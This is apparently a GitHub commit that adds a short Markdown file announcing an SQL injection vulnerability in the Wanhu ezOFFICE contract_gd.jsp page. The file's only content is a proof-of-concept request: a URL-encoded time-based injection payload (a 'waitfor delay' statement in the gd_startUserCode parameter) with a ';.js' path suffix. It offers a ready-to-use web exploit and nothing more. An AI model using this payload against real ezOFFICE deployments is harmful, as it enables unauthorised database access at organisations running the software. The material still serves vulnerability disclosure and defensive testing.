Create 万户ezOFFICE-contract_gd.jsp存在SQL注入漏洞.md

This commit is contained in:
wy876 2024-03-21 17:52:29 +08:00 committed by GitHub
parent caf52ddd29
commit 0a9ec1bb64
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,8 @@
## 万户ezOFFICE-contract_gd.jsp存在SQL注入漏洞
## poc
```
/defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27--
```